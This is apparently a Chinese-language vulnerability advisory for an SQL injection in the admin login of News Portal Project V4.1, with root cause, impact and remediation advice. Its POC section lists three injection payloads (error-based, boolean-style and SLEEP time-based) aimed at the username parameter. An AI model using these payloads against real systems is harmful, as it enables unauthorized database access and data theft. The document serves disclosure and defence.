关键漏洞信息 受影响产品 产品名称: News Portal Project 版本: V4.1 受影响文件: /admin/index.php 漏洞类型 类型: SQL 注入 根因 由于对 参数的用户输入缺乏适当的清理或验证,导致攻击者可以通过该参数注入恶意代码。此输入直接用于 SQL 查询中,使攻击者能够操纵输入值、篡改 SQL 查询并执行未经授权的操作。 影响 利用此 SQL 注入漏洞,攻击者可以未经授权访问数据库、泄露敏感数据、破坏数据、完全控制系统,并中断服务。这严重威胁到系统的安全性和业务运营的连续性。 描述 在对“News Portal”进行安全评估时,在 文件中检测到一个关键的 SQL 注入漏洞。这种脆弱性归因于对 参数的用户输入的不充分验证。这种疏忽使攻击者能够注入恶意的 SQL 查询。因此,攻击者可以在没有适当授权的情况下访问数据库、修改或删除数据,并获取敏感信息。立即采取纠正措施对于保障系统安全和提升数据完整性至关重要。 漏洞细节和 POC 漏洞位置: 参数 Payload: - 类型: MySQL RLIKE 基于盲注 - WHERE, HAVING, ORDER BY 或 GROUP BY 子句 - Payload: username'=1' AND (SELECT 6641 FROM(SELECT COUNT(),CONCAT(0x7162787671,(SELECT (ELT(6641=6641,1))),0x7171787671,FLOOR(RAND(0)2))a FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY a)b)-- WzUd&password=&login= - 类型: MySQL >= 5.0.0 错误基于 - WHERE, HAVING, ORDER BY 或 GROUP BY 子句 (FLOOR) - Payload: username'=1' OR (SELECT 6641 FROM(SELECT COUNT(),CONCAT(0x7162787671,(SELECT (ELT(6641=6641,1))),0x7171787671,FLOOR(RAND(0)2))a FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY a)b)-- WzUd&password=&login= - 类型: 时间延迟盲注(查询 SLEEP) - Payload: username'=1' AND (SELECT 1066 FROM (SELECT(SLEEP(5)))jRfP)-- WzUd&password=&login= 建议修复 1. 使用预处理语句和参数绑定。 - 预处理语句作为防止 SQL 注入的有效防护措施,因为它们将 SQL 代码与用户输入分离。使用预处理语句时,用户输入的值被视为纯数据,不会被误解为 SQL 代码。 2. 进行严格的输入验证和过滤。 - 严格验证和过滤用户输入数据,以确保其符合预期格式。这有助于阻止恶意输入。 3. 最小化数据库用户权限。 - 确保连接到数据库的帐户只有最低限度所需的权限。避免使用具有高级权限(如 'root' 或 'admin')的帐户进行日常操作。